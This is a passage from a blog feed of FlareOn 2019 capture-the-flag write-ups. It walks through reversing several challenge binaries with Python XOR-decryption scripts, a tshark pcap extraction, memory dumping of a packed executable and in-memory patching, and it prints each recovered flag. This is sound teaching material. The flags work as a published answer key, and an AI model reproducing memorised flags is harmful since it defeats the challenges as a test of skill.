<p>After these checks a long block of assembly instructions follow which I won’t show here, because it’ll take too much time. This block is responsible for decryption of the flag, which is stored as a global array. The second byte of the IP address is used as a key to decrypt the array containing the flag. Decryption is done by XORing this byte with the 2*n and 2*n+1  elements from the array with the encrypted flag, where n is the current turn count.</p>

<p>The list of IP addresses can be exctracted from the provided pcap file with the following command:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tshark <span class="nt">-2</span> <span class="nt">-nr</span> capture.pcap <span class="nt">-Y</span> <span class="s2">"dns.flags.response == 1"</span> <span class="nt">-T</span> fields <span class="nt">-e</span> dns.a | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">','</span> <span class="nt">-f</span> 1 <span class="o">&gt;</span> ip_addresses.txt
</code></pre></div></div>
<p><img src="https://idafchev.github.io/blog/assets/images/flareon2019/4_dnschess_tshark.png" alt="4_dnschess_tshark.png" class="align-center" /></p>

<p>I wrote a python script to check which IP addresses will satisfy the necessary conditions, order them by the their respective turn number (the first 4 bits in the third byted) and generate the decryption key.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"ip_addresses.txt"</span><span class="p">,</span><span class="s">"r"</span><span class="p">)</span>
<span class="n">addresses</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">f</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>

<span class="n">addr</span> <span class="o">=</span> <span class="n">addresses</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">keys</span> <span class="o">=</span> <span class="p">{}</span>

<span class="k">for</span> <span class="n">ip</span> <span class="ow">in</span> <span class="n">addr</span><span class="p">:</span>
    <span class="nb">bytes</span> <span class="o">=</span> <span class="n">ip</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'.'</span><span class="p">)</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="nb">bytes</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">4</span><span class="p">:</span> <span class="k">break</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
        <span class="k">if</span> <span class="nb">int</span><span class="p">(</span><span class="nb">bytes</span><span class="p">[</span><span class="mi">3</span><span class="p">])</span><span class="o">%</span><span class="mi">2</span> <span class="o">==</span> <span class="mi">0</span> <span class="ow">and</span> <span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="nb">bytes</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span><span class="o">&amp;</span><span class="mh">0x0f</span> <span class="o">==</span> <span class="n">i</span><span class="p">):</span>
            <span class="c1"># unordered
</span>            <span class="n">keys</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">bytes</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>

<span class="n">k</span> <span class="o">=</span> <span class="p">[]</span>
<span class="c1"># sorted
</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">keys</span><span class="p">.</span><span class="n">keys</span><span class="p">())):</span>
   <span class="n">k</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">keys</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>

<span class="k">print</span> <span class="n">k</span>
</code></pre></div></div>

<p>It produces the following output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[53, 215, 159, 182, 252, 217, 89, 230, 108, 34, 25, 49, 200, 99, 141]
</code></pre></div></div>

<p>I wrote a second script to decrypt the flag:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">encrypted_flag</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">([</span><span class="mh">0x79</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0xb8</span><span class="p">,</span><span class="mh">0xbc</span><span class="p">,</span><span class="mh">0xec</span><span class="p">,</span><span class="mh">0xd3</span><span class="p">,</span><span class="mh">0xdf</span><span class="p">,</span><span class="mh">0xdd</span><span class="p">,</span><span class="mh">0x99</span><span class="p">,</span><span class="mh">0xa5</span><span class="p">,</span><span class="mh">0xb6</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x15</span><span class="p">,</span><span class="mh">0x36</span><span class="p">,</span><span class="mh">0x85</span><span class="p">,</span><span class="mh">0x8d</span><span class="p">,</span><span class="mh">0x09</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x77</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x71</span><span class="p">,</span><span class="mh">0x54</span><span class="p">,</span><span class="mh">0x7d</span><span class="p">,</span><span class="mh">0xa7</span><span class="p">,</span><span class="mh">0xa7</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x16</span><span class="p">,</span><span class="mh">0xfd</span><span class="p">,</span><span class="mh">0xd7</span><span class="p">])</span>

<span class="n">key</span> <span class="o">=</span> <span class="p">[</span><span class="mi">53</span><span class="p">,</span><span class="mi">215</span><span class="p">,</span><span class="mi">159</span><span class="p">,</span><span class="mi">182</span><span class="p">,</span><span class="mi">252</span><span class="p">,</span><span class="mi">217</span><span class="p">,</span><span class="mi">89</span><span class="p">,</span><span class="mi">230</span><span class="p">,</span><span class="mi">108</span><span class="p">,</span><span class="mi">34</span><span class="p">,</span><span class="mi">25</span><span class="p">,</span><span class="mi">49</span><span class="p">,</span><span class="mi">200</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">141</span><span class="p">]</span>


<span class="n">s</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)):</span>
	<span class="n">s</span><span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">encrypted_flag</span><span class="p">[</span><span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
	<span class="n">s</span><span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">encrypted_flag</span><span class="p">[</span><span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>

<span class="k">print</span> <span class="n">s</span>
</code></pre></div></div>

<p>And the flag is:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LooksLikeYouLockedUpTheLookupZ
</code></pre></div></div>

<h1 id="challenge-5---demo">Challenge 5 - demo</h1>
<hr />
<p>Task:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Someone on the Flare team tried to impress us with their demoscene skills.
It seems blank. See if you can figure it out or maybe we will have to fire them. 
No pressure.
</code></pre></div></div>

<p>When executed a window appears with an animation of rotating 3D object.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_execute.gif" alt="5_demo_execute.gif" class="align-center" /></p>

<p>In CFF Explorer you can immediately notice a weird looking address of entry point (0x5c):<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_cff.png" alt="5_demo_cff.png" class="align-center" /></p>

<p>CFF Explorer didn’t show any sections, so I tried opening the file in PPEE, which displayed one unusual looking section:<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_ppee.png" alt="5_demo_ppee.png" class="align-center" /></p>

<p>It looks that it might be packed, but to confirm I opened it in Detect It Easy and sure enough the entropy of the file is high, which indicates it could be packed.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_die.png" alt="5_demo_die.png" class="align-center" /></p>

<p>The disassembly of the unpacking procedure looked complex and it would’ve taken me too much time to reverse it.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_ida_1.png" alt="5_demo_ida_1.png" class="align-center" /></p>

<p>Instead of trying to reverse the unpacking procedure, I tried the usual trick with dumping the unpacked code. In the beginning of the code you can see that it uses the address <code class="language-plaintext highlighter-rouge">0x420000</code>.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_x64dbg_1.png" alt="5_demo_x64dbg_1.png" class="align-center" /></p>

<p>If you go to this address in memory you’ll notice that it’s empty and filled with null bytes. Maybe that’s where the unpacked code is going to be stored?<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_x64dbg_2.png" alt="5_demo_x64dbg_2.png" class="align-center" /></p>

<p>Continuing the execution of the program shows that this memory is indeed filled with some data.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_x64dbg_4.png" alt="5_demo_x64dbg_4.png" class="align-center" /></p>

<p>I placed a memory execution break point on address <code class="language-plaintext highlighter-rouge">0x420000</code> and when I ran the program again, the break point was hit. So this is where the unpacked code is stored.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_x64dbg_3.png" alt="5_demo_x64dbg_3.png" class="align-center" /></p>

<p>The next step was to dump the unpacked code. While the code was paused at the break point at <code class="language-plaintext highlighter-rouge">0x420000</code>, I used Process Hacker to dump the whole memory region which was allocated for the code. The dump was 500MB, but most of it was just null bytes, which is why I used hex editor to remove the unnecessary bytes and leave only the executable code. The final binary was 12KB.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_x64dbg_5.png" alt="5_demo_x64dbg_5.png" class="align-center" /></p>

<p>At the beginning the unpacked code locates the address of kernel32.dll, then finds the address of <code class="language-plaintext highlighter-rouge">LoadLibraryA</code> function in order to load additional libraries and import additional functions. Some of the libraries it tries to load are d3d9.dll and d3dx9_43.dll which are DirectX 9.0 libraries. When the importing of libraries and functions is finished, x64dbg resolves some addresses to function names. Some of them were DirectX functions, which means it probably uses DirectX to render the rotating 3D object.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_x64dbg_6.png" alt="5_demo_x64dbg_6.png" class="align-center" /></p>

<p>I used the resolved function names from x64dbg to locate and rename the functions in IDA.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_ida_2.png" alt="5_demo_ida_2.png" class="align-center" /></p>

<p>I wasn’t familiar with DirectX, so before continuing with the analysis I had to do some reading[<a href="#references">2</a>]. The second reference at the end of this post contains everythig you need to know to solve the challenge. Read everything up to page 33. I’ll try to summarize some of the information.</p>

<ul>
  <li>3D objects are represented by a mesh of triangles which approximate the shape of the object.</li>
  <li>The point where two edges of a triangle meet is called a vertex.</li>
  <li>Triangles are described as an array of three vertices.</li>
  <li>Meshes are described as an array of triangles.</li>
  <li>A scene is a collection of objects (meshes).</li>
  <li>The object’s triangle list is defined in a local coordinate system.</li>
  <li>To bring together multiple objects in a scene, their coordinate system has to be transformed to that of the scene (a global coordinate system). This transformation sets the relationship of the objects to each other in position, size and orientation. This is done with the <code class="language-plaintext highlighter-rouge">IDirect3DDevice9::SetTransform</code> method.</li>
  <li>The camera is transformed (placed) at the center of the world coordinate system and rotated to face the positive Z axis. All geometry in the world is transformed (rotated) along with the camera (facing the Z axis) so that the view of the world remains the same. This transformation is called the view space transformation and is computed with the <code class="language-plaintext highlighter-rouge">D3DXMatrixLookAtLH</code> method and then it can be set by the <code class="language-plaintext highlighter-rouge">IDirect3DDevice9::SetTransform</code> method.</li>
  <li>All drawing methods must be called inside an <code class="language-plaintext highlighter-rouge">IDirect3DDevice9::BeginScene</code> and <code class="language-plaintext highlighter-rouge">IDirect3DDevice9::EndScene</code> method pair.</li>
  <li>Drawing can be done with the <code class="language-plaintext highlighter-rouge">DrawSubset</code> method.</li>
</ul>

<p>After importing the necessary functions and libraries the unpacked code initializes DirectX and the window where the drawing is going to be done. At the end of the code it calls some functions responsible for creating 3D objects (meshes) and then drawing them on the window.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_ida_3.png" alt="5_demo_ida_3.png" class="align-center" /></p>

<p>The first function <code class="language-plaintext highlighter-rouge">CreateMesh_and_SetRenderState</code> creates two meshes. The pointers to these meshes are stored at addresses <code class="language-plaintext highlighter-rouge">0x430050</code> and <code class="language-plaintext highlighter-rouge">0x430054</code>. This is strange because when I ran the program there was only one object visible.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_ida_4a.png" alt="5_demo_ida_4a.png" class="align-center" /></p>

<p>The <code class="language-plaintext highlighter-rouge">DrawScene</code> function begins as expected. It starts with <code class="language-plaintext highlighter-rouge">BeginScene</code> method and then sets the view space transformation of the camera.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_ida_5.png" alt="5_demo_ida_5.png" class="align-center" /></p>

<p>Later in this function you can see two <code class="language-plaintext highlighter-rouge">DrawSubset</code> methods, which draw the two 3D objects (meshes). The camera placement wasn’t changed, this means that only one object is in the field of view of the camera. Maybe the other object is the flag?
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_ida_6.png" alt="5_demo_ida_6.png" class="align-center" /></p>

<p>If the addresses where the pointers to the objects are saved get swapped, then the second object will be drawn in the field of view of the camera!<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_ida_4b.png" alt="5_demo_ida_4b.png" class="align-center" /></p>

<p>I swapped the pointers by patching the code in memory with a debugger.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_x64dbg_7.png" alt="5_demo_x64dbg_7.png" class="align-center" /></p>

<p>Then I placed a break point at the <code class="language-plaintext highlighter-rouge">DrawScene</code> function so I can easily pause the execution at the first frame.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_x64dbg_8.png" alt="5_demo_x64dbg_8.png" class="align-center" /></p>

<p>Continuing the execution draws the first frame of the animation before hitting the breakpoint again. The flag is displayed in the window, but it’s flipped.  <br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_flag_1.png" alt="5_demo_flag_1.png" class="align-center" /></p>

<p>Flip it again and there it is:<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/5_demo_flag_2.png" alt="5_demo_flag_2.png" class="align-center" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>moar_pouetry@flare-on.com
</code></pre></div></div>

<h1 id="references">References</h1>
<hr />
<p>[1] <a href="https://www.usna.edu/Users/cs/roche/courses/s17si204/proj/3/files.php?f=gtkexample.c">https://www.usna.edu/Users/cs/roche/courses/s17si204/proj/3/files.php?f=gtkexample.c</a><br />
[2] <a href="http://www.few.vu.nl/~eliens/pim/@archive/projects/jurgen/directx9.pdf">http://www.few.vu.nl/~eliens/pim/@archive/projects/jurgen/directx9.pdf</a></p>]]></content><author><name>Ilia Dafchev</name></author><category term="posts" /><category term="flareon" /><category term="writeup" /><category term="ctf" /><category term="reversing" /><category term="challenge" /><summary type="html"><![CDATA[My writeups for the FlareOn 2019 challenges]]></summary></entry><entry><title type="html">FlareOn 2019 Writeup - Part 1</title><link href="https://idafchev.github.io/blog/flareon2019-part1/" rel="alternate" type="text/html" title="FlareOn 2019 Writeup - Part 1" /><published>2019-10-31T00:00:00+02:00</published><updated>2019-10-31T00:00:00+02:00</updated><id>https://idafchev.github.io/blog/flareon2019-part1</id><content type="html" xml:base="https://idafchev.github.io/blog/flareon2019-part1/"><![CDATA[<p>Part 1 contains my solutions for challenges 1-3.</p>

<h1 id="challenge-1---memecat_battlestation">Challenge 1 - Memecat_Battlestation</h1>
<hr />
<p>Task:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Welcome to the Sixth Flare-On Challenge! 

This is a simple game. Reverse engineer it to figure out what "weapon codes" 
you need to enter to defeat each of the two enemies and the victory screen 
will reveal the flag. Enter the flag here on this site to score and move on 
to the next level.

* This challenge is written in .NET. If you don't already have a favorite 
.NET reverse engineering tool I recommend dnSpy

** If you already solved the full version of this game at our booth at 
BlackHat  or the subsequent release on twitter, congratulations, enter 
the flag from the victory screen now to bypass this level.
</code></pre></div></div>

<p>So, we’re dealing with a .NET binary. Let’s run it and see what it does:<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/1_memecat_battlestation_execute.gif" alt="1_memecat_battlestation_execute.gif" class="align-center" /></p>

<p>It appears it expects a code as input in order to shoot at the incoming cats.
For decompiling and debugging .NET I use dnSpy.</p>

<p>Opening the executable in dnSpy we immediately notice several classes, one of which is called <code class="language-plaintext highlighter-rouge">VictoryForm</code>.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/1_memecat_battlestation_forms.png" alt="1_memecat_battlestation_forms.png" class="align-center" /></p>

<p><code class="language-plaintext highlighter-rouge">VictoryForm</code> has a method called <code class="language-plaintext highlighter-rouge">VictoryForm_Load</code> and its decompiled source code is shown below:</p>
<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">private</span> <span class="k">void</span> <span class="nf">VictoryForm_Load</span><span class="p">(</span><span class="kt">object</span> <span class="n">sender</span><span class="p">,</span> <span class="n">EventArgs</span> <span class="n">e</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">byte</span><span class="p">[]</span> <span class="n">array</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[]</span>
	<span class="p">{</span>
		<span class="m">9</span><span class="p">,</span>
		<span class="m">8</span><span class="p">,</span>
		<span class="m">19</span><span class="p">,</span>
		<span class="m">17</span><span class="p">,</span>
		<span class="m">9</span><span class="p">,</span>
		<span class="m">55</span><span class="p">,</span>
		<span class="m">28</span><span class="p">,</span>
		<span class="m">18</span><span class="p">,</span>
		<span class="m">15</span><span class="p">,</span>
		<span class="m">24</span><span class="p">,</span>
		<span class="m">10</span><span class="p">,</span>
		<span class="m">49</span><span class="p">,</span>
		<span class="m">75</span><span class="p">,</span>
		<span class="m">51</span><span class="p">,</span>
		<span class="m">45</span><span class="p">,</span>
		<span class="m">32</span><span class="p">,</span>
		<span class="m">54</span><span class="p">,</span>
		<span class="m">59</span><span class="p">,</span>
		<span class="m">15</span><span class="p">,</span>
		<span class="m">49</span><span class="p">,</span>
		<span class="m">46</span><span class="p">,</span>
		<span class="m">0</span><span class="p">,</span>
		<span class="m">21</span><span class="p">,</span>
		<span class="m">0</span><span class="p">,</span>
		<span class="m">65</span><span class="p">,</span>
		<span class="m">48</span><span class="p">,</span>
		<span class="m">45</span><span class="p">,</span>
		<span class="m">79</span><span class="p">,</span>
		<span class="m">13</span><span class="p">,</span>
		<span class="m">1</span><span class="p">,</span>
		<span class="m">2</span>
	<span class="p">};</span>
	<span class="kt">byte</span><span class="p">[]</span> <span class="n">bytes</span> <span class="p">=</span> <span class="n">Encoding</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="nf">GetBytes</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">Arsenal</span><span class="p">);</span>
	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="p">&lt;</span> <span class="n">array</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span> <span class="n">i</span><span class="p">++)</span>
	<span class="p">{</span>
		<span class="kt">byte</span><span class="p">[]</span> <span class="n">array2</span> <span class="p">=</span> <span class="n">array</span><span class="p">;</span>
		<span class="kt">int</span> <span class="n">num</span> <span class="p">=</span> <span class="n">i</span><span class="p">;</span>
		<span class="n">array2</span><span class="p">[</span><span class="n">num</span><span class="p">]</span> <span class="p">^=</span> <span class="n">bytes</span><span class="p">[</span><span class="n">i</span> <span class="p">%</span> <span class="n">bytes</span><span class="p">.</span><span class="n">Length</span><span class="p">];</span>
	<span class="p">}</span>
	<span class="k">this</span><span class="p">.</span><span class="n">flagLabel</span><span class="p">.</span><span class="n">Text</span> <span class="p">=</span> <span class="n">Encoding</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="nf">GetString</span><span class="p">(</span><span class="n">array</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">Arsenal</code> variable is used to decrypt the array which holds the flag.
This variable is set in the <code class="language-plaintext highlighter-rouge">Main</code> method inside the <code class="language-plaintext highlighter-rouge">Program</code> class.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/1_memecat_battlestation_main.png" alt="1_memecat_battlestation_main.png" class="align-center" /></p>

<p>The <code class="language-plaintext highlighter-rouge">Arsenal</code> string is a concatenation of the from <code class="language-plaintext highlighter-rouge">stage1Form.WeaponCode</code> and <code class="language-plaintext highlighter-rouge">stage2Form.WeaponCode</code> attributes.
For stage1 the <code class="language-plaintext highlighter-rouge">WeaponCode</code> attribute is being set inside the <code class="language-plaintext highlighter-rouge">FireButton_Click</code> method.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/1_memecat_battlestation_stage1.png" alt="1_memecat_battlestation_stage1.png" class="align-center" /></p>

<p>You can clearly see the check which needs to be passed. So the first code is <code class="language-plaintext highlighter-rouge">"RAINBOW"</code>.
When it’s entered, Grumpy cat shoots a rainbow and kills the other cat.</p>

<p>The <code class="language-plaintext highlighter-rouge">FireButton_Click</code> method inside the <code class="language-plaintext highlighter-rouge">stage2Form</code> class is a little different. There is another function
which performs the check.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/1_memecat_battlestation_stage2a.png" alt="1_memecat_battlestation_stage2a.png" class="align-center" /></p>

<p>Decompiling the method <code class="language-plaintext highlighter-rouge">isValidWeaponCode</code> reveals the following source code:<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/1_memecat_battlestation_stage2b.png" alt="1_memecat_battlestation_stage2b.png" class="align-center" /></p>

<p>It takes the user input from the text box, then XORs every byte with the ASCII character ‘A’ and finally compares the result to some bytes.
We can decode the expected input by XORing the expected bytes with the character ‘A’.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">a</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="s">'</span><span class="se">\x03</span><span class="s"> &amp;$-</span><span class="se">\x1e\x02</span><span class="s"> //./'</span><span class="p">)</span>
<span class="n">s</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">a</span><span class="p">:</span>
    <span class="n">s</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="o">^</span><span class="nb">ord</span><span class="p">(</span><span class="s">'A'</span><span class="p">))</span>
<span class="k">print</span> <span class="n">s</span>
</code></pre></div></div>

<p>Executing the script returns the string <code class="language-plaintext highlighter-rouge">"Bagel_Cannon"</code>. Running the executable again and entering the right codes provides us with the victory
screen and the flag. 
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/1_memecat_battlestation_flag.png" alt="1_memecat_battlestation_flag.png" class="align-center" /></p>

<p>I also tried to get the flag statically by reimplementing the <code class="language-plaintext highlighter-rouge">VictoryForm_Load</code> method.</p>

<p>The following python code returns the flag:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">key</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="s">"Bagel_Cannon,RAINBOW"</span><span class="p">)</span>
<span class="n">encrypted_flag</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">([</span><span class="mi">9</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">19</span><span class="p">,</span><span class="mi">17</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">55</span><span class="p">,</span><span class="mi">28</span><span class="p">,</span><span class="mi">18</span><span class="p">,</span><span class="mi">15</span><span class="p">,</span><span class="mi">24</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">49</span><span class="p">,</span><span class="mi">75</span><span class="p">,</span><span class="mi">51</span><span class="p">,</span><span class="mi">45</span><span class="p">,</span><span class="mi">32</span><span class="p">,</span><span class="mi">54</span><span class="p">,</span><span class="mi">59</span><span class="p">,</span><span class="mi">15</span><span class="p">,</span><span class="mi">49</span><span class="p">,</span><span class="mi">46</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">21</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">65</span><span class="p">,</span><span class="mi">48</span><span class="p">,</span><span class="mi">45</span><span class="p">,</span><span class="mi">79</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">])</span>

<span class="n">flag</span> <span class="o">=</span> <span class="s">''</span>

<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">encrypted_flag</span><span class="p">)):</span>
	<span class="n">flag</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">encrypted_flag</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)])</span>

<span class="k">print</span> <span class="n">flag</span>
</code></pre></div></div>

<p>And the flag is:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Kitteh_save_galixy@flare-on.com
</code></pre></div></div>

<h1 id="challenge-2---overlong">Challenge 2 - Overlong</h1>
<hr />
<p>Task:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>The secret of this next challenge is cleverly hidden. However, with the right 
approach, finding the solution will not take an &lt;b&gt;overlong&lt;/b&gt; amount of time.
</code></pre></div></div>

<p>When you execute the binary the following message box appears:<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/2_overlong_execute.png" alt="2_overlong_execute.png" class="align-center" /></p>

<p>This challenge is written in C\C++, so I’ll use Ghidra for the dissasembly and decompilation.</p>

<p>There are only 3 functions, which I’ve already analysed and renamed with an appropriate names.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/2_overlong_functions.png" alt="2_overlong_functions.png" class="align-center" /></p>

<p>The function <code class="language-plaintext highlighter-rouge">DecodeByte</code> takes two arguments. Each argument is a pointer to a byte. The function
takes the byte from the second argument, decodes it and saves it at the address of the first argument.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/2_overlong_decode_byte.png" alt="2_overlong_decode_byte.png" class="align-center" /></p>

<p>The function <code class="language-plaintext highlighter-rouge">DecodeBuffer</code> has three arguments. The first argument is an empty buffer.
The second argument is a source buffer and the last argument is the length of the source buffer.
The function iterates through the bytes from the source buffer and calls <code class="language-plaintext highlighter-rouge">DecodeByte</code> on each byte.
The result is saved in the empty buffer.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/2_overlong_decode_buffer.png" alt="2_overlong_decode_buffer.png" class="align-center" /></p>

<p>In the main function <code class="language-plaintext highlighter-rouge">DecodeBuffer</code> is called with three arguments - an empty buffer with size 128 bytes, global byte array filled with bytes and length <code class="language-plaintext highlighter-rouge">0x1c</code> (28 in decimal).<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/2_overlong_entry.png" alt="2_overlong_entry.png" class="align-center" /></p>

<p>If we check the length of the global byte array we’ll see it’s 176 bytes long, which is larger than the supplied length (28) in the <code class="language-plaintext highlighter-rouge">DecodeBuffer</code> function.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/2_overlong_global_array.png" alt="2_overlong_global_array.png" class="align-center" /></p>

<p>One way to obtain the flag is by patching the binary and fixing the bug or reimplement the algorithm without the bug.</p>

<p>The first way I did it is by patching the binary. Open the executable file in HEX editor and search for a sequence of bytes which correspond to the assembly instructions where the length (0x1c) is passed as an argument.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/2_overlong_entry_asm.png" alt="2_overlong_entry_asm.png" class="align-center" /></p>

<p><img src="https://idafchev.github.io/blog/assets/images/flareon2019/2_overlong_search.png" alt="2_overlong_search.png" class="align-center" /></p>

<p>And finally change the 0x1c value to the length of the destination buffer (0x80 = 128)<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/2_overlong_patch.png" alt="2_overlong_patch.png" class="align-center" /></p>

<p>Now if you run the patched binary the message box contains the flag.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/2_overlong_flag.png" alt="2_overlong_flag.png" class="align-center" /></p>

<p>Another way is to write a script which will decode the flag. Just extract the bytes from the global array and reimplement the decoding function.</p>

